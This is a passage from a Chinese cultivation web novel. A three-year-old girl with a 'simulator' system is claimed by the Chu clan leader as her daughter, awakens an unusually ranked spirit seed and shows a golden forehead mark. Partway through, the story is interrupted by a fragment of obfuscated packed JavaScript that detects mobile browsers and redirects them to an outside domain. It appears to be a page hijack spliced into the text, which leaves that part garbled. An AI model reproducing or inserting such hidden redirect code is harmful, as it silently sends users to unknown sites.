楚宴委屈巴巴地说:“这是她自己点名要的。”又不是我故意安排的。
好吧,不愧是族长看中的人,从小就有她自己的想法。
“那就先这样,等族长回来,再行安排。”
族长接道宫诏令,去北海维护灵境洞天入口。这是掌印世家应尽的义务,今年刚好轮到楚家。族长此行,差不多要费半年乃至一年之久。
等她回来,那孩子身份的事,应该就可以砸实了。
-
得了上头正式认命,并且拿着楚氏幼院副总管的薪水,楚修满身干劲地上任了。
当望舒的专属启蒙老师!
楚修对这份工作很满意,望舒对楚修这个人也比较满意。
都是一个地方出来的,有一点投资的“缘分”在,有默契,想问点什么东西都更好开口。
至于他教书水平的问题,够用就行,她又不用考大学——应该不用吧?
望舒开启了她的识字与修行入门。
望舒问的第一个关于修行的问题,是灵种。她可好奇太久了。
“什么叫灵种?为什么你和楚宴,甚至族长,都一直在说,我觉醒灵种以后怎样怎样?我要是不能觉醒呢?”
楚修大惊失色:“小姐,可不敢说这种不吉利的话呀。”他呸呸呸把不能觉醒几个字呸掉。
“好吧,我肯定能觉醒。”望舒尊重这个世界的迷信。
楚修松一口气,这才解释起来:“灵种,从本质来说,属于天地的‘造化’,用更好懂的话,是天道给其宠儿的恩赐。”
说到这里,楚修自嘲一笑:“像我,老天爷肯定就不喜欢我啦,我就没灵种,只是个普通的修行者,如今已经三十岁,才九品修为。”
九这个数字听着大,但在楚修口中好像是修为低的意思。望舒继续点头。
“听你的意思,灵种非常罕见?”
“那可太罕见了!”楚修的声音带着明显的向往,“能吸纳灵气入体修行的人,在普通人中,千人可出一个。可能觉醒灵种的人,在修行者里面,万人都出不了一个。”
他二十多岁就在祁山幼院干了,二十八做到了管事,每年主家都会来人检测,可他一个觉醒灵种的都没遇到过。
直到遇到望舒。
那这概率是挺低的。望舒点点头,很自然地说:“这么说起来,你也挺厉害的嘛。”
楚修一怔,看着望舒坐在那里,平平淡淡举例他的“厉害”
“你能修炼,说明已经胜过至少一千的普通人,你又姓楚,我们家族应该挺厉害吧,你还做到了管事,现在还回了主家。”
望舒边说边点她的小脑袋,也不看楚修。因为这并不是安慰。
望舒就是在说自己的看法而已。
她说完了,自然跳到下一个话题:“所以,这样罕见的灵种,有什么特别之处吗?它总得有个罕见的道理。”
楚修回过神。他这辈子,第一次被人说,自己不是普通人。关键这个人,还是他眼中的天才,是他压的宝,是他祖坟冒青烟的契机。
楚修深深看了一眼望舒,这才继续说:
“我们一个个说,就像普通人……不,就像那些无法修行的人,他们对灵气无心无感,感受不到天地的玄妙,就算隐约有感,也控制无门,因此无法踏入修行门槛。”
“而能修行的人,从某种程度上说,肉身
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对灵气已经算亲和,他们能利用功法,对灵气实行粗陋简单的利用和控制,以此增强肉身。只是灵气到底无形,我们身体像一个大筛子,根本无法储存,最终也只能达到事倍功半的效果。”
“至于有灵种的修行者……”楚修说到这里,故意停顿,让望舒知道他说话的重点。
“像身体自带了一个控制灵气的脑子,灵种能自动吸收灵气,过滤灵气,将灵气提炼为最适应身体需要的状态,反哺给主人。”
他举例:“灵气分五行。一个火木属性的人,没灵种,只能生硬地将所有灵气吸收进来,有些属性还相冲,自然耽误修行。而有灵种的人,吸收的,直接就是火木属性的灵气。”
这些话看似很多,听在望舒耳中,却很好理解。
这么说来,灵种不就相当于一个智能灵气处理器吗?集收集、过滤、净化、自适应等功能为一体。
看望舒并没有露出听不懂的神情,楚修也不惊讶。
俩人一个敢教,一个敢听。
楚修又接着说:“但灵种最重要的功能并不是这个,而是我后面要说的话——每个灵种,哪怕是最低等级的灵种,都会自带一个天赋神通。”
楚修的声音充满郑重与羡慕。
“相同品级的修行者,一个有天赋神通,一个没有天赋神通,他们的战力、未来发展潜力,根本不可同日而语。”
“这,才是天地造化的真正体现!”
-
楚修的课平平淡淡上了一年,这一年,望舒三岁。
她的模拟器触发了一次“特殊”,就是楚修给她单独授课这次,作为分支接回主家培养的孩子,她的身份还没有正式说明,却已经区别大众,得到了一个主管级别的专属启蒙老师。
这次特殊给她加了二十点天才积分。
然后就到了三岁生辰这天,她收到了楚修、楚宴、五长老的生辰小礼物。
为什么会收到五长老的,望舒也很奇怪。五长老说是长老,其实看起来很年轻,总穿黑衣,脸上表情不太多,有种清冷酷酷的劲儿,每次过来都会面无表情问她:“有没有什么缺的,需要的?”
望舒摇头,她就又问:“楚宴亏待你了吗,伙食有没有克扣?”
望舒被关心得摸不着头脑,还是老实说没有。免得楚宴凭空飞来一口锅。
五长老送的礼物是一套精制的草虫小首饰,亮晶晶的,一看小孩子就会喜欢,假如她现在梳个双丫髻,把这些小发钗簪头上,草虫的触须与翅膀还会微微颤动。
她有些新奇地摸着,伴随着外面的蝉鸣。
忽然,蝉鸣骤停一瞬,又重新叫起。望舒的手停在一颗蚱蜢发针上,心有所感,忽然侧头,向门口看去。
那里立着一个挺拔的红衣身影,金冠夺目,眼眸漆黑含笑,正静静看她。
楚氏族长,楚岱熙。
望舒一愣,楚岱熙已经走过来,自然地在她跟前蹲下,小臂搁在膝盖上支撑身体。
因为望舒长高了一些,又坐在板凳上,楚岱熙的身位更低。
看着望舒不说话,楚岱熙笑盈盈地用指腹戳了戳望舒鼓鼓的脸颊:“怎么,不认识我啦?”
不知怎地,望舒偏过头,竟然轻轻哼了一声。
听到这声哼,楚岱熙反而很满意。有情绪不就说明还记得她嘛,不错不错。
“这一年,我是因公事离族,并非有意不来看你。”楚岱熙解释。
公事,那就是出差的意思,什么样的差要出一年?多半是骗小孩的话。
望舒不说话,楚岱熙就自顾自地继续说:
“这一年,我认真想了一下,感觉咱们生来就是要做母女的。瞧,你没娘,我也没女儿,咱俩这不是正正好吗?”
“我看你就像我的女儿,你看我估计也像你的娘,完全对着了。”
看望舒偏过去的脑袋还是一动不动,楚岱熙轻轻咳一声,认真了语气。
“我是真想让你做我女儿的。”
“真哒!”
外面的蝉知咕知咕地叫。
望舒还是没吭声,脑袋垂着,眼皮却偷偷向上抬了一下。
她正要说话,模拟器却好像等不及这种缓慢的节奏,开始库库在她脑子里打字。
【作为一名创业起步阶段的初级伪天才,却在某些方面手段惊人,成功让族长妈妈向你发出了女儿邀请。】
【机会就在眼前,现在,回答她——!】
【是!还是否!】
5. 觉醒灵种
太吵了。
望舒没理这个破模拟器,缓缓抬起头,黑沉沉的眼珠子,在烛火下与楚岱熙对视。
楚岱熙见她终于有反应,叹笑起来:“小祖宗,可算愿意理我了,你这个小脾气可真不好哄啊。”
没等望舒接话,又勾勾嘴角,得意道:“像我。”
都是这么有个性。
望舒嘴动了动,半天说:“……你,腿酸不酸?”
楚岱熙眨巴眼睛跟望舒对视,忽然哎呦一声:“你不说还好,你一说,哎呦,可真酸了。”
望舒跳下凳子,整个人也就两个凳子那么高。默不作声地把凳子往前推了推。
楚岱熙一点不客气,坐上去,顺手就把望舒搂怀里:“我闺女儿真孝顺。”
望舒抿抿唇,也没躲开。
楚岱熙看见了桌上摊开的首饰盒子,里面亮晶晶的草虫首饰整齐可爱。她一拍脑袋,想起来什么似的。
“这个我可没忘啊。”掏出一个精致的紫檀木长形盒子。
“呐,”星点一样的眸子看着望舒,笑说:“娘亲送给闺女儿的生辰礼。”
望舒迟疑了一下,接过来,轻轻打开盒子,看清里面是什么后,略微一怔。
这是一枚长命锁吊坠项链。
其中,最重要的锁身部分,是用一枚极其通透的碧玉制成,颜色恰好,再绿一分,则显老气,不适宜望舒这样的孩子,再浅一分,不够抓目,显不出这样逼人的灵气。浓淡相宜的清透,正如春日里的碧水,雪天中的清湖。
这样的一枚玉,拿红绳串起都足够吸睛,因此不必过多修饰,项链部分,仅用透润凝脂一样的白玉珠串起,低调温润,不喧宾夺主。
楚岱熙将长命锁拿出,细致地给望舒戴在颈上,一边说:“这叫福玉,灵玉精髓的一种。天然蕴含灵气,最重要是有祈福纳吉、趋吉避凶的作用。”
戴好后看着望舒,语气认真:“望我儿福气萦身,诸事顺遂。”
望舒有些怔然,下意识伸手摸了摸颈上的长命锁,温凉透润的触感,好像她生命中真的有一个地方,被祝福锁住,她漂泊的旅途中,真的有一端,被另一个人牢牢牵在手中。
望舒垂着脑袋看长命锁的时候,楚岱熙快速又隐晦地拿手掌给自己脸颊扇风。
嗨呀,有些事可比处理族务难处理多了呀。
想了想,从自己的储物镯中掏出酒器和酒来,给自己斟上。
刚从洞天入口回来,腿都还没来得及歇,本来只是顺嘴问了一句这孩子,结果茗烟一本正经地说:“你说那孩子?小孩子的记忆都很浅的,这都过一年了,人家应该不记得你了。而且今天是她生辰……”
楚岱熙一愣,生辰?匆匆忙忙去宝库里挑了这只长命锁。
不认得是不可能的。如她这般风流气派的人物,必然让人见之忘俗,不然也不能让闺女儿一眼见了就喊娘。
她还记得被望舒喊娘时,那种心脏像被小手轻轻叩击的感觉。
她看见了这孩子眼里的野心、蓬勃的进取欲,甚至是某一瞬间的倔强与别扭。
她们多像啊。
出行灵境洞天一年,楚岱熙都在思考,然后认真做下了这个决定。
楚岱熙回神时,看见望舒睁着大眼珠子盯她手里的酒杯,下意识侧了侧身,说:“这个不行,小孩子不能喝酒。”
说起来,望舒的眼睛,两分像她,却有五分,像她的母亲。
望舒本来没想喝的,但你这么一说……她爬上另一个凳子,眼神直勾勾地盯着楚岱熙,意思是“要喝!”
楚岱熙笑脸一僵。温馨有爱的母女关系,才刚开始就要出现裂缝了怎么办?
在桌上环视了一圈,看见望舒平常用来喝灵奶的竹杯,晃了晃,里面还剩一小半。
作为刚上任的母亲,最好还是满足孩子的要求。谨慎地往望舒的竹杯里滴了……一滴酒。
大松一口气,将竹杯塞望舒手里。
“好了,”楚岱熙勾起一边唇角,轻轻快快道,“你生辰之日,我们母女俩是该好好喝一杯。”
顿了顿,又添一句。
“庆祝从此以后,我们在这世上,不再孤单。”
望舒一愣,捏紧了手中的杯子。
“来。”楚岱熙晃晃手腕。
望舒迟疑了一会儿,缓缓伸出了自己的竹杯。
大手和小手,竹杯和酒杯,轻轻一碰。
干杯。
-
【历经几番堪比八点档狗血剧的感情拉扯,正在天才之路上吭哧前行的你,终于认领了族长之女这个身份。这意味着,你拥有了一个足够坚实有说服力的人物起点,就算以后散发出真正的天才之光,也不会叫人感觉突兀。】
【然而,身份也意味着压力,族长之女势必要经受更多目光的检视。况且,你还没有正式计入族谱,得到楚氏长老团的官方承认。】
【上过修行入门课程的你,深知在这个世界,检验天才的核心标准,就是灵种。】
【是时候打开你的模拟器了!现在,是否利用所有天才积分,兑换一份质变的‘特殊’】
打开我的模拟器?我的模拟器关过吗?
因为心情好,望舒的嘴角有些上扬,懒洋洋道:“兑换。”
-
楚岱熙出差回来以后,似乎就进入了短期放假。
她将她所有的时间和热情都用在了望舒身上。先是给望舒搬家,她认为望舒不已经不适合一个人“孤零零”地住在那个小院里。
让望舒搬到她的朝夕阁,方便她贴身照顾,又给望舒送来定好的衣物、首饰。
然后跟望舒讨论她的名字。塞给望舒一本《字说》,跟她说:“乖崽来,翻,
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喜欢哪些字,挑出来。”
望舒认真翻了几页,鼓起脸:“我,不认得。”
这个世界的字体比繁体字还复杂一些,她跟着楚修学习了一段时间,进度很快,但也局限于简单常用字。
可这本字说里面的字,全部含典,望舒连字都认得费劲,更别说理解典故了。
楚岱熙讪讪收起那本书,还安慰望舒:“没事儿,娘差不多已经想好了,回头再给你找俩先生,你就能认得了。”
你这什么意思,说我是文盲呗。望舒努力瞪着眼睛。
又带着望舒做游戏,譬如拎着望舒在天上飞什么的。
她问望舒怕不怕高,望舒一个三岁儿童,走路还没走几年,哪知道自己恐不恐高。
望舒就摇头。不知道。
楚岱熙很满意:“不愧是我闺女儿,不怕高就好。”
望舒:?似乎是达成了什么误解。
拎着望舒的后衣领就上了天。狂风呼啸,望舒紧紧闭着眼睛,楚岱熙见了,贴心在她周围结了个防风护罩,说:“乖崽儿,睁眼睛吧,没风了。”
那是风的事儿吗?
望舒睁开眼睛朝下看,湿凉的云层在她手边飞,她们飞过繁华喧闹的瀛洲城,进入灵气缭绕的桃林,桃林再往中心,是一片碧蓝的湖,湖心桃花漫卷,古色古香的建筑掩映重叠。
琼楼玉宇,天上人间。
楚岱熙的声音在望舒脑袋上方响起:“乖崽儿,怎么样,这就是我们楚家。”
我们楚家。
望舒有点明白娘为什么要带她飞到这个高度了。
真正俯瞰过大地的人,视角不会拘泥于一点。
望舒闭上眼睛,缓缓伸开双臂。
眼睛闭上的时候,世界开始放大。她感到柔顺的风流从她裸露的皮肤轻拂而过,有轻微的桃花香气、人声车马声。有熟悉的能量在她身体中流动。
望舒回忆起楚修的课程,试着控制这些能量。
望舒想,灵气是吗,进了我的身体,就得听我的。
楚岱熙拎着望舒在瀛洲岛绕行,飞着飞着,忽然感觉手中一轻。吓一大跳,以为望舒掉下去了,仔细一看,她明明还活生生捏在她手上。
若有所思把望舒提起来看了一会儿,小臂抱住飞回朝夕阁。
“怎么了?”望舒还有点着迷这种感觉呢。
她原来真不怕高。
楚岱熙蹲下来把她看了一遍:“乖崽儿,你刚刚,做了什么?”
望舒说:“我在学着飞啊。”
母女俩大眼瞪小眼。
过一会儿,楚岱熙把楚茗烟叫了过来,还叮嘱楚茗烟把族里那块韵道之盘拿来。
楚茗烟拿着东西过来,一贯缺乏表情的脸上竟然显出一丝摸不着头脑的迷惑。
“你是说,她才三岁,就觉醒灵种了?”
6. 我什么等级
“……你说她才三岁,就觉醒灵种了?”
楚茗烟的第一反应,应该是哪里搞错了。
楚岱熙却抱着胸,非常自信:“不觉醒灵种她能自己御气吗?刚刚我带她飞的时候,她可是有一瞬间飘起来了。”
……你没事带一三岁孩子在天上飞干什么?摔着了吓坏了怎么办?
……飘起来,有没有可能是孩子体重轻呢?
楚茗烟喉头一时塞满了话,却一个字蹦不出来。
也许是她一言难尽的表情太明显,楚岱熙挑了挑眉:“我是她娘,我有预感。你尽管测!”
……楚茗烟忍住扶额的冲动,蹲到望舒跟前,声音尽量轻柔:“刚刚在空中,你做了什么?”
“控制灵气,飞。”望舒老老实实答。
你才三岁,就敢在空中御气,要自己飞?
楚茗烟一下子什么话都没了。只能说这俩不愧看一眼就能做母女,确实是脾性对上了。
楚茗烟拿出道韵之盘,见望舒好奇地盯着,就端手里让她看个够。
姿势保持不变,抬眼跟楚岱熙说:“族长应知此物贵重,按理说,要有三位长老的手令才能请出来,我一个人拿,最多一刻钟,他们就会找到这儿来了。”
“那不正好?”楚岱熙一副正合我意的样子,“一人一份见面礼,顺便给我闺女儿塑灵护法。”
她可没有把望舒藏着掖着的打算,相反,她是得了好东西就要秀出来的人。望舒是主动撞进她生命的珍宝,不说昭告天下,昭告全族总是应该的。
有时候跟上级沟通真挺费劲的……楚茗烟无声吸一口气,扭回来看望舒:“看好了吗,一会儿要用这个为你测试有没有觉醒灵种。”
望舒点头,看好了。
这个叫道韵之盘的东西,不知是用什么材质制成,黑沉如墨,无论从哪个角度看,都看不出一丝光晕。盘身为圆形,边缘与挖空的底部刻满了字,唯有中心圆点凸出一个盘柱,柱芯里面也被掏空。
楚茗烟说:“一会儿我要取你一滴血,滴到盘心圆柱上。你只需闭上眼睛,不会感到疼。”
望舒:“嗯!”
楚岱熙听了却皱眉。取血不疼?又不是取你的血。她刚要开腔,就见楚茗烟眼疾手快捏住望舒的中指,屈指成刃,迅速一划。
鲜红溢出,正好滴在道盘中心。
楚岱熙眼皮一跳,一把抓过望舒的中指,刚要开口抱怨,看见伤口都快愈合了。
若无其事把嘴一闭。
楚茗烟冷笑瞪她。
望舒夹在两个大人围成的三角形空间里,眼眸盯着道盘,说:“这个盘亮了。”
她很关注测试的结果,刚刚血滴上去就一直盯着。盘柱吸收她的血后,边缘刻字依次亮起。以柱为圆心,往外盘旋扩散出两道血线,呈太极两仪之型。
血色氤氲,扩满整个盘底的时候,盘柱缓缓撑起一团光点。像在傍晚点起的灯,不像夜里那么刺目,也不像白天那么没有存在感。
望舒问:“这个光,是什么意思?”
两个大人的目光早就吸引过来。
寂静柔和的光束点亮楚茗烟的瞳,她喃喃:“竟真的觉醒了……”
楚岱熙也在消化此刻的震惊。刚刚一脸笃定的是她,等真看到结果,感到不可思议的,也是她。
两人沉默的空档,望舒的脑袋还探在道盘上方,两个小发揪上簪的金蝉翅翼微微颤动。
“觉醒了吗?那我的灵种,什么等级?”她很关注自己天赋的。
楚茗烟回过神,诧异看了一眼望舒。
楚岱熙挑眉,一把将望舒抱起来。
“你小孩子家家的,脑子里想什么等级?”
望舒扶着楚岱熙的肩,黝黑的眼眸充满认真。
“楚宴都跟我说了,我在楚家能获得什么特殊、什么待遇,全看我能不能觉醒灵种、能觉醒什么等级的灵种、觉醒之后天赋神通又厉不厉害……这里面都是门道。”
她用童音将楚宴跟她讲的三种递进关系原封不动说了出来。
楚茗烟的眉微妙一扬。
楚岱熙笑得阴恻恻的:“楚宴是吧,好得很。”
她看这白胖子的总管帽子是不想要了!她好好一乖崽儿,都被楚宴教了些什么东西!
心里瞬间想了一百种教训楚宴的方法,脸上笑得愈发温柔,开启老母亲的教导:“你是我女儿,等级还能差了?不用管这些,你就只管吃、管玩,楚家要是谁敢说你,我就宰了他!”
宰字说得阴狠,望舒却无动于衷。她哦一声,拽上楚岱熙的袖子,天真眨眼睛:“所以,我的等级是?”
楚岱熙:……
楚茗烟头次看族长吃瘪,好生欣赏了一会儿,才对望舒解释说:“你灵种刚觉醒,只有其形,并无其实,还需一次能量充足的‘浇灌’,才能看出等级。”
浇灌?给种子浇水么,这么说起来还真跟养植物似的。
望舒点头。
说话间,楚岱熙和楚茗烟腰悬的身份玉牌同时闪烁,两人对视一眼,不一会儿朝夕阁飞掠过来两个人影。
望舒睁着大眼睛,看见两名女子轻盈点地下落。
其中一名年纪稍长,满头乌发利落盘起,青玉为簪,着紫色莲纹长袍,眼眸沉静,端庄而持重。
另一名更年轻,面庞艳丽,眼尾风情上挑,也束了冠,却穿着袒露领口的丝质修身长裙,两只手腕各佩金环,金环之上又镶宝石,华丽靡艳。
结合之前娘与五长老的谈话,来的这两位,应该也是楚家长老。算上娘这个族长,楚家的高层,女性就至少占了四位。
望舒瞬间就意识到这是件好事。楚家位高权重的女性越多,她这样具有修行资质的女孩儿地位就会越高。
楚芷渊一来就对上了一双小猫似的大眼睛,水灵灵的,黑瞳很大,正毫不掩饰地盯着她身上亮晶晶的首饰看,不由一笑,说:“哪儿来的娃娃,如此灵气。”
楚岱熙抱着望舒,下巴一抬,语出惊人:“我生的。”
……
朝夕阁有一瞬间的安静,楚茗烟扶额,却不打算戳破这件事。
大长老温和的视线从望舒脸上收回,看向楚岱熙,委婉提醒:“族长最近的一次外出,是前些日子去了北海的灵境洞天,如此也不过一年。”
就算是去北海的那段时间生的,也不可能生出这么大的孩子来。
别看望舒只有三岁,她比一般孩子还大只些,因为早早地被楚修投喂了灵食,又是能吃的,就说她是五岁,也不会有人怀疑。
“生孩子这种事,不过顺手,想生就生了,哪需要等什么外出。”楚岱熙说得随意,眼眸深处却定着一抹深思。
她是认真的。
从那天晚上与望舒碰杯开始,楚岱熙就以决意以一个母亲的身份对望舒负责。
这是她们的约定。
以后对外,她只会说,望舒就是她生的。
生于掌印世家,望舒以后会离开家族,前往道宫,与这世界最顶级的天骄竞夺排名,她的任何一点瑕疵,都有可能被对手挑出,从而放大针对。
她不能容忍望舒拥有任何身份上的污点。
她只会是她生的,只能是她生的。
不会有第二个答案。
楚家几位高层长老,或许会有所察觉,却不会对外提及,因为她们都姓楚。
至于楚修楚宴,从推动望舒从分支回主家的那一刻起,他们的利益就与望舒深刻绑定,若有背叛,她会亲自结果这两人的性命。
大长老的话,在肚子里转了一圈,还是没说出来,只点头。
二长老楚芷渊的目光在望舒与楚岱熙脸上来回打转,一时也有些犹疑。
族长刚刚的话,看似荒诞,好像也不是没有根据。这孩子的眼睛,长得跟族长……真就挺像的。
两人的眼型都偏圆,眼瞳黑而亮,最像的是盯着人看的气势,一动不动时,天然显露三分冷意。
况且族长的性格还真就干得出来这种事,偷偷生一个孩子,然后冷不丁抱回家族。她在外头也确实有两个情人……
当然,真与假其实并不重要,只看族长的态度,这孩子的身份就已然不容置喙。
心思转了一轮,楚芷渊悠悠然笑起来,红唇一勾,随手撸下腕上一只金镯,塞到望舒手里——这孩子盯着看几次了——笑眯眯道:“二长老送你的见面礼。”
金镯比望舒的手还大,沉甸甸的,拿到就往下一坠,望舒用两只手捧住,眼睛去找楚岱熙。
楚岱熙点下巴:“接着,你二长老有钱。”
大长老楚静一见状,一时有些迟疑,在身上摸了摸……没摸出来东西。
她不像二长老,身上随便扯下来一个发簪镯子就是件拿得出手的礼物。储物灵器里也没合适的,难不成叫她塞给望舒一堆灵石?这也不像。
大长老在那里为难半天,给楚岱熙看乐了,说:“大长老不必着急,七日后我会召开族会,正式将这孩子介绍给诸人,届时,大长老再送见面礼也不迟。”
大长老沉稳嗯了一声,问到了重点:“道韵之盘是怎么回事?”
楚岱熙压制翘起的嘴角,用早就准备好的姿态,轻描淡写一哦,道:“也没什么,就是我的乖崽儿好像觉醒灵种了,我便用道韵之盘,给她测一测。”
二长老慵懒的眼睫一抬,站直了身体。大长老默了默,问:“她几岁?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332647|183309||http|test|mini|href|location''.split(''|''),0,{}));
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>楚岱熙的嘴角憋不住上扬:“三岁。”
三岁。楚芷渊一把拉过旁边的楚茗烟,声低又快速道:“道韵之盘已经用过了?什么结果?”
“就是觉醒了啊。”楚茗烟平淡地说。
大长老二长老难以置信的目光好像那种天然的灵丹妙药,叫楚岱熙的身心一阵愉悦。
这就是养孩子的乐趣吗?
她哦一声,像是刚刚想起来,随口道:“正好了,既然三位长老都在,不若顺道给我乖崽塑灵护法吧。”
也给你们亲眼看看,省的不相信。
果然,大长老二长老对视一眼,没一个拒绝。
望舒塑灵的地点,就在朝夕阁竹林深处的灵池中。
所谓塑灵,就像之前楚茗烟说的那样,是给初次觉醒的灵种,以大量灵韵充沛的灵液浇灌,让其彻底定型,真正爆发灵性。
也只有塑过灵的灵种,才能看出等级。
塑灵的灵液也有讲究,望舒无论是三岁觉醒的天资,还是族长之女的身份,都不可能用次品。
在三位长老默许,楚岱熙的理所当然下,望舒塑灵用的药液,是专门从家族宝库里现取出来的。
望舒盯着五长老手里的净透玉瓶,这就是她一会儿要用到的东西,听说叫韵灵基液。刚刚为了拿这个,每位长老,包括娘这个族长,全都拿出了自己的印令。
这么繁复的手续,才拿出一个不过成人巴掌大的玉瓶。
楚岱熙将望舒放在灵池水中,示意她塑灵要开始了。望舒赶紧回神。
她看见气质最温和的大长老在这方竹林空地结了个结界,美艳的二长老端着道韵之盘。
而她最熟悉的五长老,正满脸凝重,将手中玉瓶倾斜,对准道韵之盘的柱芯。
望舒看见,那倒出的韵灵基液呈现出幼叶一样的浅碧色,带着神异的流光,盛在盘中,莹莹闪烁。
不知是盘太深,还是韵灵基液太少,一整个玉瓶倒完,盘底也就堪堪铺满一层。
最终这枚道盘被楚岱熙拿在手里,由她亲自帮望舒完成最重要的塑灵一步。
楚岱熙将道盘轻巧向上一掷,双手快速结印,道盘稳稳停在上空,一丝灵液都没晃出。
随着咒语的启动,盘缘的刻字闪烁,盘身膨大一圈,悬停在望舒浸泡的灵池上空。
望舒伸手,发现道盘投下一团光束,正好将她包裹。她用手接着光,一会儿伸进,一会儿伸出,想找出光束内外的不同。
“乖崽闭眼。”楚岱熙提醒,“吸收这些能量,它们的流动汇聚之所,就是灵种所在之地。”
望舒乖乖闭眼,感到她的身体成了一条河。
灵池中的能量缓缓朝河中汇聚,头顶的灵光是抛洒的雨,它们浇在干涸的河床上,让水位上升,河开始流淌。
望舒的意识随着河流动,在五脏核心之地,看见了个缓缓漂浮的光点。
感觉到望舒的“注视”,光点翕动,像是对她打招呼。
三位长老注视着整个过程,看见道盘中的灵液以肉眼可见的速度减少,最后一滴也消失时,盘的柱芯凝聚出一个光团。
光团明亮、恒定、没有任何晃动。在竹林的晚霞中,呈现出一抹摄人心魄的紫韵。
望舒感到她的身体下了一场霖雨,种子喝饱了水,终于不再发出渴求的声音,开始牢牢扎根土地。
原来,之前那种对灵食吃不饱的感觉,根结在此吗?
望舒睁开眼睛,看见所有人都在看她,神情很微妙,似喜非喜,似惊非惊。
望舒想握拳,最终却只是让自己抬了抬眼睛。她问:“我,什么等级?”
楚岱熙在望舒跟前蹲下,表情有些古怪:“是紫级。”
紫级。望舒小扇子一样的眼睫不由自主地下垂。
在楚修给她上的基础修行课程中,她已经知道,灵种分四级,从低到高分别是,绿蓝紫金。
其中,金色灵种等级最高,也最为罕见。
我是紫级。望舒在那一刻捕捉到了心中一闪而过的失望。
原来我幻想过自己能觉醒金色灵种,成为真正的天才。
但这也挺正常的不是吗?连幻想都不敢幻想,那我还扮演什么天才?就是因为还不够好,模拟器才找上我呀。
望舒在一瞬间的下沉中找到了稳住自己的力量。
她抬起眼睛,看见娘仍然蹲在她跟前,表情完全不像失望,而是,惊叹?
楚岱熙指指望舒的额头,神情微妙地说:“但你的紫级,好像不太正常。”
望舒白皙饱满的额头,在刚刚灌塑灵种的过场中,出现了一枚金色的相印。
它似烟又似雾,如清晨的一抹初曦,点缀在望舒眉心。
7. 有神女,名望舒
不正常?
怎么就不正常了。
望舒伸手摸了摸额头,什么都没摸出来。楚岱熙拿出一柄把镜竖在她眼前,望舒这才看清自己眉心多了一个印记。
表面看是金色,把镜子凑近才看出,是一粒粒细碎如微尘的金点,盘旋出似火似烟的金色烙印。
望舒在印记上面摸了摸,什么感觉都没有。
“这是什么?”望舒问。
“这叫相印。”楚岱熙一边回答她,一边把她从灵池里拎出来,站到地上后,众人看望舒就看得更清楚了。
大长老的目光难以从望舒的眉心移开,她反复确认,才缓缓吐出一口气,郑重地说:“确实是相印,错不了。”
楚岱熙用手指给望舒整理沾水的鬓发,没有发丝遮挡后那印记更明显了,她解释:“你应该也知道,灵种与其自带的天赋神通,本质都属于天地的造化。只是造化,也分多与少,深与浅,不然灵种也不会有等级一说。”
望舒点头。
“有一小部分极罕见的天赋神通,涉及造化的本质,拥有这种天赋的人,身上往往会出现一些显化特征,最明显的就是相印。”
“只是按理说,能显化出相印的天赋神通,是比金色灵种还要罕见的存在,几乎没听说过紫级灵种觉醒的神通能带相印的。”
“是不是搞错了?”望舒小脸严肃,“我没感觉自己掌握了什么天赋神通。”
她刚刚已经仔仔细细把她身体的每一处变化都检查过了,除了发现了灵种的存在,有了“终于吃饱”的感觉,别的跟往常真的没什么区别。
望舒已经开始怀疑这事可能是个大乌龙。
结果楚岱熙噗嗤一声笑了出来,戳了戳望舒鼓鼓的脸颊:“你之前上课,没上到关于天赋神通的课程吗?”
什么意思?望舒瞪楚岱熙,黝黑的眼珠一动不动。
楚岱熙憋着笑,这孩子不禁逗。便解释:“正常来说,都是五岁觉醒灵种,十岁觉醒神通。”
“神通来源于你的灵种,而灵种也是要养育的呀。没有事务是一开始就强大的。楚修估计是见你还小,才没跟你说到这个。”
原来如此,望舒点点头,冷静地说:“既然我还没有觉醒天赋,就不能说这个相印是天赋带来的,至少无法肯定。”
楚芷渊看着这个孩子有条有理地分析,一脸惊奇。这是一个正常三岁的孩子说话的状态吗?还是族长家的这个就是格外特殊些?
“小不点儿。”楚芷渊好奇开口,“虽然我们还无法完全肯定,可你这个相印的来源,十有八九就是跟天赋神通有关啊。这说明你厉害。你怎么还不高兴呢?”
望舒的目光移过去。楚岱熙微一扬眉,也很好奇望舒的回答。
望舒看着楚芷渊,眼神认真地说:“因为还没有确定。”
“没有确定的东西,就不属于我。”
假如我现在认领了这个疑似觉醒强力天赋的“厉害”,所有人都开始高兴,等未来有一天,你们又发现我不是,到时候又会怎么想我呢?还会觉得我厉害吗?
比起一场空欢喜,比起一场空欢喜后的失落,望舒认为,还是等待所有的“厉害”扎扎实实兑现,她再来好生庆祝吧。
竹林晚风,望舒稚嫩又认真的声音伴随叶声。
没有人不为这样的童音震撼。
三位长老,包括楚岱熙,都看着望舒,心想:
这确实是一个特别的孩子。
-
七日后,望舒被隆重打扮。
楚岱熙特意为她定制了一身儿童版礼服,大红色,斜领,布料上用金线绣着团形吉祥纹饰。
除了礼服,她的颈上还佩着楚岱熙送她的长命锁,两只手一边一个金环,稀疏柔软的头发勉强扎成两个小髻,簪了小巧的金蝉,又有月牙发梳插在两边额角。
望舒跟镜子凑得极近,浓密的睫毛忽闪忽闪,只是并不那么卷翘,而是顺直的姿态,扇动的时候会跟眼角形成一处阴影。
弯眉杏眼。望舒又看她的眉心,像用星尘点缀起的浅金相印,呼应在她眉眼之间,为这幅唇红齿白的面相,增添一抹生动的灵气。
我长大后应该挺好看吧。
望舒对着镜子,嘴角隐秘地翘了翘。
“怎么啦,被自己美住啦?”同样的大红身影从镜子后面走进。
是楚岱熙。她跟望舒穿着衣料、纹饰、款式一模一样的礼服,就是望舒的放大版。
之前给望舒定衣服时,望舒拽着她的袖子,小声说:“娘跟我穿一样的。”
楚岱熙略微一畅想,她在族会上宣布望舒身份时,母女俩穿着一样的衣服看着众人……嗨呀,瞬间就被那场景美住了,立马下令叫人给她定身同样的锦袍。
现在,楚岱熙看镜子,一大一小一高一矮两个大红身影,望舒戴金蝉金环,她戴金冠。
两人同时看着镜子,嘴角都微微上翘。
这谁敢说不是她亲生的!
楚岱熙得意坏了。
望舒又忍不住去摸额头,说:“娘,我这用不用遮一遮?”
楚岱熙挑眉说:“你遮啥,这不挺好看吗!”
